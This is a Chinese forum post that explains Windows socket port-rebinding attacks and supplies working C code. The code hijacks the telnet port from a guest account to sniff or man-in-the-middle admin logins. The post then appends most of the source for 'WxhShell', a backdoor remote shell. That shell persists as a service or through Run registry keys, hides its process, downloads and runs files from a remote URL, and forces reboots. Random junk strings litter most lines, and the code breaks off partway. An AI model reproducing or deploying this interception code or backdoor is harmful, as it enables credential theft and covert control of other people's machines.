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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z]R% A:6K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {q/D,Rh8  
'"9Wt@ .  
  saddr.sin_family = AF_INET; 0O|l7mCr%I  
F @uOXNz)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q\d/-K  
M!O &\2Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }UWi[UgA  
`C)|}qcC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Og:aflS  
r}|a*dh'R  
  这意味着什么?意味着可以进行如下的攻击: 5iZ;7 ?(  
]DK.4\^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e[g.&*!  
7xfN}iHG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D%h_V>#z  
!U~S7h}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ADT8A."R[  
 Eikt,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Kj6@=  
R[!%d6jDE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ze3sc$fG2  
$c];&)7q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6G;t:[H G  
Vb/XT{T;b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a!mdL|eA@  
,Ad{k   
  #include VcORRUp  
  #include HC RmW'  
  #include uE&2M>2  
  #include    F>"B7:P1:Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O/lu0acI  
  int main() o(Q='kK  
  { */ok]kX'  
  WORD wVersionRequested; N3|aNQ=X0  
  DWORD ret; AfJ.SNE  
  WSADATA wsaData; )WbE -m  
  BOOL val; otJHcGv  
  SOCKADDR_IN saddr; 1zIrU6H2;_  
  SOCKADDR_IN scaddr; Ya ~lPc  
  int err; FfibR\dhY  
  SOCKET s; ;f~z_3g  
  SOCKET sc; Z]k+dJ[-  
  int caddsize; d^G5Pq  
  HANDLE mt; iYl{V']A  
  DWORD tid;   (lLCAmK 5?  
  wVersionRequested = MAKEWORD( 2, 2 ); 2VgVn,c  
  err = WSAStartup( wVersionRequested, &wsaData ); {3N5Fi7S  
  if ( err != 0 ) { FSyeDC^@  
  printf("error!WSAStartup failed!\n"); QUi=ZD1  
  return -1; jHM}({)-  
  } fR,7l9<%Zp  
  saddr.sin_family = AF_INET; V6tUijz  
   G-G\l?R(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q Qc-;|8  
ez^b{s`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H JjW  
  saddr.sin_port = htons(23); 6a*OQ{8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G/?j$T  
  { =d1i<iw?-  
  printf("error!socket failed!\n");  4d )Q  
  return -1; C:P.+AU"`  
  } )Ga 3Ji}'  
  val = TRUE; X{;3gN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i`vgD<}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B{-+1f4  
  { }OLBEhGs  
  printf("error!setsockopt failed!\n"); XFcIBWS  
  return -1; ?ubIh.d  
  } Jkub|w#QH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q-nM]Gm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b`X"yg+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Iw;J7[hJ&$  
Avo"jN*<d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M{M?#Q  
  { nuLxOd*n  
  ret=GetLastError(); uf}Q{@Ab  
  printf("error!bind failed!\n"); rR 3(yy0L  
  return -1; z9P;HGuZ  
  } }Oh@`xTxt  
  listen(s,2); TF;}NQ  
  while(1) a?ii)GGq  
  { w@\quy:  
  caddsize = sizeof(scaddr); m/>z}d05h  
  //接受连接请求 XCku[?Ix  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h2fTG  
  if(sc!=INVALID_SOCKET) * 57y.](w  
  { .LEn~ 8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {-kV~p  
  if(mt==NULL) /b~|(g31"  
  { +}@6V4BRn  
  printf("Thread Creat Failed!\n"); 2_#V w&v  
  break; +]NPxUa  
  } D"+xF&  
  } A]CO Ysc  
  CloseHandle(mt); oB]   
  } U0t~H{-H  
  closesocket(s); qra5&Fvb  
  WSACleanup(); >aV Q  
  return 0; ^q ?xi5 w  
  }   >XiTl;UU  
  DWORD WINAPI ClientThread(LPVOID lpParam) SSG}'W!z  
  { mtu`m6Xix  
  SOCKET ss = (SOCKET)lpParam; a]u1_ $)  
  SOCKET sc; vW:XM0  
  unsigned char buf[4096]; b|z_1j6U  
  SOCKADDR_IN saddr; J#tY$PE  
  long num; ILq"/S.  
  DWORD val; +x"cWOg  
  DWORD ret; YJEL'k<l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;*_U)th  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I%fz^:[#<  
  saddr.sin_family = AF_INET; y:N>t+'5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^9PB+mz  
  saddr.sin_port = htons(23); = ;"$t_t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #{u>  
  { @x z?^20N  
  printf("error!socket failed!\n"); Z )f\^  
  return -1; FtL{ f=  
  } } I;5yk,o  
  val = 100; ><Z`) }f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;p}X]e l}  
  { p4-bD_  
  ret = GetLastError(); _laLTP*  
  return -1; =2yg:D  
  } 235wl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X #!oG)or  
  { ~Q)137u]P  
  ret = GetLastError(); 8!uqR!M<C  
  return -1; a;$'A[hq  
  } crdp`}}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |p7k2wzN  
  { y8.(filNB  
  printf("error!socket connect failed!\n"); ,awp)@VG7  
  closesocket(sc); CH/*MA  
  closesocket(ss); <M4Qc12jP  
  return -1; j. L`@  
  } *l-(tp5  
  while(1) )FfJ%oT}  
  { `*nK@:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rZBOWT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ird q51{G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D9|?1+Kc  
  num = recv(ss,buf,4096,0); uBe1{Z  
  if(num>0) xe3t_y  
  send(sc,buf,num,0); O]Mz1 ev|  
  else if(num==0) 4&c7^ 4w~  
  break; Tpv]c  
  num = recv(sc,buf,4096,0); 9-9:]2~g!  
  if(num>0) cNd2XQB9=  
  send(ss,buf,num,0);  FGP~^Dr/  
  else if(num==0) 68^5X"OGF  
  break; D|1pBn.b]'  
  } *?#t (Y[  
  closesocket(ss); ,^_aqH  
  closesocket(sc);  p|D-ez8  
  return 0 ; `jur`^S|  
  } = yH#Iil  
G'>z~I]6S  
){.J`X5r  
========================================================== IiV#V  
(HUGgX"=  
下边附上一个代码,,WXhSHELL Tmo+I4qoL  
m j{ /'  
========================================================== G1d!a6>  
qOKC2WD  
#include "stdafx.h" EQ j2:9f  
f V|Zh  
#include <stdio.h> #z\{BtK  
#include <string.h> =v$H8w  
#include <windows.h> \gE3wmSJ,  
#include <winsock2.h> wb>>bV+U  
#include <winsvc.h> ;b""N,  
#include <urlmon.h> myj^c>1Iz  
U 6y ;V  
#pragma comment (lib, "Ws2_32.lib") U-$ B"w&  
#pragma comment (lib, "urlmon.lib") hupYiI~  
GMZj@q  
#define MAX_USER   100 // 最大客户端连接数 a%-P^M;a2  
#define BUF_SOCK   200 // sock buffer  psg}sl/  
#define KEY_BUFF   255 // 输入 buffer 9 xvE?8;M#  
S:UtmS+K  
#define REBOOT     0   // 重启 'M*+HY\.0  
#define SHUTDOWN   1   // 关机 (\si/&  
fU+A~oL%I  
#define DEF_PORT   5000 // 监听端口 {GS7J  
`NC{+A  
#define REG_LEN     16   // 注册表键长度 p[QF3)9F  
#define SVC_LEN     80   // NT服务名长度 nJTV@m XVq  
.>-`2B*/  
// 从dll定义API G B+U>nf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U+!H/R)(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R,hX *yVq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NC 0H5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xi6Fs, 2S  
lrSo@JQ  
// wxhshell配置信息 9oteQN{9  
struct WSCFG { $+Hv5]/hb  
  int ws_port;         // 监听端口 5Dy800.B2  
  char ws_passstr[REG_LEN]; // 口令 ~%4#R4&  
  int ws_autoins;       // 安装标记, 1=yes 0=no &8Cuu$T9)  
  char ws_regname[REG_LEN]; // 注册表键名  KUfk5Y  
  char ws_svcname[REG_LEN]; // 服务名 :;u~M(R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N~ -N Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %^=fjJGV{~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m6bI<C3^5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #![i {7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ms=I lz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 saH +C@_,  
;6o p|  
}; c7jft|4S  
Z\E3i  
// default Wxhshell configuration T8.@ }a  
struct WSCFG wscfg={DEF_PORT, $4V ~hI 4  
    "xuhuanlingzhe", &Jj^)GBU  
    1, dG|srgk+  
    "Wxhshell", !U$ %Jz  
    "Wxhshell", ~9qDmt,i  
            "WxhShell Service", /q %TjQ}F  
    "Wrsky Windows CmdShell Service", .E_`*[ 5=  
    "Please Input Your Password: ", K \}xb2s  
  1, ?K7m:Dx  
  "http://www.wrsky.com/wxhshell.exe", nTSGcMI  
  "Wxhshell.exe" %D z|p]49!  
    }; %ma1LN[  
SvH=P !`+  
// 消息定义模块 E'LkoyI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l}X3uy S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O{rgZ/4Au  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rww"Z=F  
char *msg_ws_ext="\n\rExit."; r+HJ_R,5A  
char *msg_ws_end="\n\rQuit."; 5|:=#Ql*  
char *msg_ws_boot="\n\rReboot..."; >Lanuv)O  
char *msg_ws_poff="\n\rShutdown..."; 5I{YsM  
char *msg_ws_down="\n\rSave to "; 3Gt'<E|"  
r]'AdJFt  
char *msg_ws_err="\n\rErr!"; :Ke~b_$Uy-  
char *msg_ws_ok="\n\rOK!"; xH\'gli/  
\O?#gW\tR  
char ExeFile[MAX_PATH]; K}O~tff  
int nUser = 0; ^!|BKH8>f%  
HANDLE handles[MAX_USER]; WKpHb:H  
int OsIsNt; 6^['g-\2  
KhZ'Ic[vw  
SERVICE_STATUS       serviceStatus; G7C9FV bR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +v&+8S`+  
Tk/K7h^  
// 函数声明 bt#=p 7 W  
int Install(void); &%J{C3Q9  
int Uninstall(void); |mrAvm}  
int DownloadFile(char *sURL, SOCKET wsh); lp?geav  
int Boot(int flag); 2o/}GIKj  
void HideProc(void); W.o W =<  
int GetOsVer(void); P G) dIec  
int Wxhshell(SOCKET wsl); z@VY s  
void TalkWithClient(void *cs); A1\;6W:  
int CmdShell(SOCKET sock); K ^H=E  
int StartFromService(void); #(CI/7 -  
int StartWxhshell(LPSTR lpCmdLine); SR~~rD|V  
h vGb9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sl%B-;@I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \C*?a0!:Z}  
H5/%"1Q  
// 数据结构和表定义 O>w $  
SERVICE_TABLE_ENTRY DispatchTable[] = 2N(c&Dzkh`  
{ t,R5FoV  
{wscfg.ws_svcname, NTServiceMain}, O" ['.b  
{NULL, NULL} Czb@:l%sc  
}; P 2;j>=W  
&#g;=jZ  
// 自我安装 ep[7#\}5  
int Install(void) SL:o.g(>4  
{ \0j|~/6  
  char svExeFile[MAX_PATH]; [ OMcSd|nf  
  HKEY key; 34]f[jJ|  
  strcpy(svExeFile,ExeFile); ZWmmFKFG.  
BWL~)Hx  
// 如果是win9x系统,修改注册表设为自启动 qVJV9n  
if(!OsIsNt) { IcPIOCmOc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $9*Xfb/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L3X>v3CZ5  
  RegCloseKey(key); ykl./uY'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1NN99^ q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "v jFL9  
  RegCloseKey(key); yBauK-7*c  
  return 0; N+!{Bt*  
    } {:od=\*R  
  } 8!me$k&  
} D4n ~ 2]  
else { l $d4g?Z  
<JYV G9s}  
// 如果是NT以上系统,安装为系统服务  ;{BELv-4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2={`g/WeE  
if (schSCManager!=0) u;~/B[  
{ _l}&|:  
  SC_HANDLE schService = CreateService ^N`ar9Db  
  ( tB}&-U|t[~  
  schSCManager, y| @[?B  
  wscfg.ws_svcname, H <F6o-*  
  wscfg.ws_svcdisp, J9I!d.U  
  SERVICE_ALL_ACCESS, Gt\F),@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Lc+wS@  
  SERVICE_AUTO_START, K-k;`s#  
  SERVICE_ERROR_NORMAL, v?!x,H$Qd  
  svExeFile, 69r<Z  
  NULL, ![U|2x   
  NULL, bPOehvK/  
  NULL, -`iZBC50  
  NULL,  5ah]E  
  NULL o*I=6`j  
  ); 2HkP$;lED  
  if (schService!=0) e}kEh+4  
  { yWF DGk  
  CloseServiceHandle(schService); cL<  
  CloseServiceHandle(schSCManager); lkFv5^%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5cgDHs  
  strcat(svExeFile,wscfg.ws_svcname); %{&yXi:mS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Po(9BRd7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gAgzM?A1(  
  RegCloseKey(key); noOG$P#  
  return 0; @\z2FJ79w  
    } bb+-R_3Kd  
  } >=6tfLQ  
  CloseServiceHandle(schSCManager); l>7`D3  
} #r#UO  
} ^0ipM/Lg  
C:l /%   
return 1; hqD]^P>l1  
} C{-e(G`Yd  
B Lw ssr.  
// 自我卸载 [[Qu|?KEa  
int Uninstall(void) ZnI_<iFR*  
{ F^3Q0KsT  
  HKEY key; V ;1$FNR   
>q[(UV  
if(!OsIsNt) { 3iR;(l}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \;.\g6zX  
  RegDeleteValue(key,wscfg.ws_regname); +P6q wh\v  
  RegCloseKey(key); yWsN G;>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @iS(P u  
  RegDeleteValue(key,wscfg.ws_regname); Qg<_te)\  
  RegCloseKey(key); ujmO'blO  
  return 0; q *mNVBy  
  } : JD% =w_  
} k)1K6ug  
} 2j Oh~-LU  
else { m/Q@-  
[- a2<E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %'%ej^s-R  
if (schSCManager!=0) 75jq+O_:  
{ MU<Y,4/k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); + ( `  
  if (schService!=0) GTeFDm; T^  
  { >ys>Q)  
  if(DeleteService(schService)!=0) { w(eAmN:zR  
  CloseServiceHandle(schService); iLws;3UX;x  
  CloseServiceHandle(schSCManager); o(u&n3Q'  
  return 0; _K_!(]t  
  } >hJ$~4?  
  CloseServiceHandle(schService); |K,9EM3  
  } &Op, ?\   
  CloseServiceHandle(schSCManager); vjhd|  
} YRfs8I^rg  
} }'b 3'/MJ  
_b&Mrd  
return 1; J;Xh{3[vO  
} *[wy- fu  
cWA9n}Z  
// 从指定url下载文件 M-e!F+d{od  
int DownloadFile(char *sURL, SOCKET wsh) ^}8(o  
{ .a8N 5{`  
  HRESULT hr; J3Qv|w [3Y  
char seps[]= "/"; F@& R"-  
char *token; 'u@ )F`  
char *file; (vB aem9  
char myURL[MAX_PATH]; q?nXhUD  
char myFILE[MAX_PATH]; S1E =E5  
ug.mY=n '  
strcpy(myURL,sURL); 1y2D]h/'  
  token=strtok(myURL,seps); J{ P<^<m_  
  while(token!=NULL) k?;A#L~  
  { JN .\{ Y  
    file=token; +?w 7Nm`  
  token=strtok(NULL,seps); *!$4   
  } m$ )yd~  
(CJiCtAsl`  
GetCurrentDirectory(MAX_PATH,myFILE); X};m\Bz  
strcat(myFILE, "\\"); r/$+'~apTk  
strcat(myFILE, file); c*-8h{}  
  send(wsh,myFILE,strlen(myFILE),0); pEuZsQ  
send(wsh,"...",3,0); D^baXp8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J}c57$Z  
  if(hr==S_OK) {0nZ;1,m  
return 0; yM}}mypS  
else #g#vDR!  
return 1; #v0"hFOH,  
*p`0dvXG2  
} 5Q#;4  
Kfa7}f_  
// 系统电源模块 Wb+^Ue  
int Boot(int flag) # =V%S 2~  
{ +dX1`%RR[  
  HANDLE hToken; 6}='/d-[  
  TOKEN_PRIVILEGES tkp; MUhC6s\F  
w,bILv)  
  if(OsIsNt) { QM\v ruTB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D>+&= 5{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iS&~oj_-%  
    tkp.PrivilegeCount = 1; jV]'/X<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4EQ7OGU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MqGF~h|+  
if(flag==REBOOT) { |5 _bFB+&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bZHuEh2w  
  return 0; x|d Xa0=N_  
} !C * %,Ak  
else { es]\ xw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +0rMv  
  return 0; T]Gxf"mK  
} C)~YWx@v  
  } x%23oPM  
  else { :y==O4  
if(flag==REBOOT) { ]sjYxe  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^m;dEe&@F  
  return 0; ` wuA}v3!  
} \{AxDk{z#  
else { M>D 3NY[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |RDmY!9&  
  return 0; T)&J}^j  
} 2.u d P  
} a% |[m,FvP  
'@>FtF[Gu  
return 1; Rp `JF}~o  
} ?v-IN  
7F;"=DarOE  
// win9x进程隐藏模块 bN$`&fC0  
void HideProc(void) )67_yHW  
{ `au(' xi<  
%Fig`qX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )^7Y^u e  
  if ( hKernel != NULL ) sDT(3{)L7  
  { 0,)B~|+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fzO4S^mTo8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AFcsbw  
    FreeLibrary(hKernel); CP_ ?DyWU  
  } cTu7U=%  
P*oKcq1R  
return; F]]np&UV.  
} gYVk5d|8@4  
GE]fBg  
// 获取操作系统版本 Bj09?#~[  
int GetOsVer(void) &sR=N60n  
{ sfNXIEr^  
  OSVERSIONINFO winfo; AVVL]9b_2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `,i'vb`W#b  
  GetVersionEx(&winfo); f ZL%H0&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x|i"x+o  
  return 1; Qmle0ae  
  else Uhfm@1 cz&  
  return 0; &f'\9lO  
} O( G|fs  
V#.;OtF]  
// 客户端句柄模块 'c<vj jIg  
int Wxhshell(SOCKET wsl) /%C6e )7BL  
{ _+g5;S5  
  SOCKET wsh; "'h?O*V]u{  
  struct sockaddr_in client; $gT+Ue|7  
  DWORD myID; I'2:>44>I6  
=A={ Dpv[>  
  while(nUser<MAX_USER) C`+g:qT  
{ XIh2Y\33ys  
  int nSize=sizeof(client); vn|u&}h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OLUQjvnU  
  if(wsh==INVALID_SOCKET) return 1; ,oX48Wg_+  
4b=hFwr[?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _5%SYxF*y  
if(handles[nUser]==0) s, m+q)  
  closesocket(wsh); Yq}7x1mm  
else [H;HrwM s)  
  nUser++; JIvVbI  
  } QLH&WF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :'?%%P  
h^^zR)EVb  
  return 0; 4[a?. .X  
} e`k6YO  
>C y  
// 关闭 socket 0l3v>ty  
void CloseIt(SOCKET wsh) 9;2PoW8  
{ vl*CU"4  
closesocket(wsh); RR!(,j^M  
nUser--; '$pT:4EuGq  
ExitThread(0); J2Y-D'*s  
} "<ow;ciJF  
g \)+ LX  
// 客户端请求句柄 \ }xK$$f2,  
void TalkWithClient(void *cs) I"Y d6M% ;  
{ 4*MjDb  
_a@&$NEox  
  SOCKET wsh=(SOCKET)cs; (rO_ Vfaa  
  char pwd[SVC_LEN]; F>jPr8&  
  char cmd[KEY_BUFF]; ~t[ #p:  
char chr[1]; 0}Rxe  
int i,j; . +> w0FG.  
VTk6.5!8  
  while (nUser < MAX_USER) { <J-bDcp  
6TJ5G8z_  
if(wscfg.ws_passstr) { &B^#? vmO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )#k*K9[@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =BQM(mal  
  //ZeroMemory(pwd,KEY_BUFF); (A O]f fBU  
      i=0; ,/6V^K  
  while(i<SVC_LEN) { /Y5I0Ko Uw  
,{:c<W:A]  
  // 设置超时 H .)}|  
  fd_set FdRead; EQ`;=I3J9y  
  struct timeval TimeOut; kf\n  
  FD_ZERO(&FdRead); wVkms  
  FD_SET(wsh,&FdRead); IK5FSN]s/  
  TimeOut.tv_sec=8; L,!?'.*/]  
  TimeOut.tv_usec=0; #m?GBr%k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ! utgo/n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H|;6K`O_  
L;/#D>U(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %F-/|x1#Q  
  pwd=chr[0]; TEz)d=  
  if(chr[0]==0xd || chr[0]==0xa) { 1rh\X[@  
  pwd=0; Onb*nm  
  break;  hh<5?1  
  } +*'  
  i++; J XKps#,(#  
    } _?>!Bz m  
4NN-'Z>a  
  // 如果是非法用户,关闭 socket ms'&.u&<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [0.>:wT  
} E{gu39D  
Oh6_Bci  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S+H#^WSt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *}R5=r0  
5 EDHJU>  
while(1) { }'$6EgX  
58zs% +F  
  ZeroMemory(cmd,KEY_BUFF); x n)FE4  
8+Al+6d|!  
      // 自动支持客户端 telnet标准   y?O{J!U  
  j=0; F48:mfj1r  
  while(j<KEY_BUFF) { :p@H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fn$/ K  
  cmd[j]=chr[0]; Nge_ Ks  
  if(chr[0]==0xa || chr[0]==0xd) { WI9'$hB\  
  cmd[j]=0; )?~3fb6^  
  break; YS=|y}Q|7d  
  } [W=%L:Ea  
  j++; IcZ_AIjlk  
    } ^% BD  
S`2MQL  
  // 下载文件 .vNfbYH(  
  if(strstr(cmd,"http://")) { BL0WI9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jpg_$~k  
  if(DownloadFile(cmd,wsh)) &RRggPx"k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EceZ1b  
  else 1  6;l,@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * 2[&26D  
  } mXlXB#N  
  else { P]!$MOt  
@iB**zR/  
    switch(cmd[0]) { L]B]~Tw  
  6CO>Tg:%  
  // 帮助 KIn^,d0H  
  case '?': { y$s}-O]/-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L`FsK64@  
    break; ^!k^=ST1J  
  } S#0y\  
  // 安装 Y>t*L#i  
  case 'i': { }D dg  
    if(Install()) K4SR`Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nkHr(tF 7  
    else /' L20aN2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [?Y u3E\  
    break; asP>(Li  
    } I@cKiB  
  // 卸载 E#Ynn6  
  case 'r': { i_g="^  
    if(Uninstall()) 9 U1)sPH;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +A W6 >yV`  
    else a$#,'UB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OQ#gQ6;?0  
    break; ~] Mq'  
    } JiZ9ly( G  
  // 显示 wxhshell 所在路径 ;nLQ?eS\  
  case 'p': { Z]$yuM  
    char svExeFile[MAX_PATH];  Cih}  
    strcpy(svExeFile,"\n\r"); N;A1e@bP  
      strcat(svExeFile,ExeFile); \F,?ptu  
        send(wsh,svExeFile,strlen(svExeFile),0); ;1S{xd*^N  
    break; ]w%7/N0R  
    } N rVQK}%K  
  // 重启 dDW],d}B;  
  case 'b': { RUf,)]Vvk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g-mK(kY4p  
    if(Boot(REBOOT)) mDip P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RTA9CR)JP4  
    else { H;*:XLPF  
    closesocket(wsh); !IoD";Oi  
    ExitThread(0); ':[+UUC@  
    } [=e61Z  
    break; [#j|TBMHM  
    } ig; ~ T  
  // 关机 IK{0Y#c  
  case 'd': { gb@Rx  
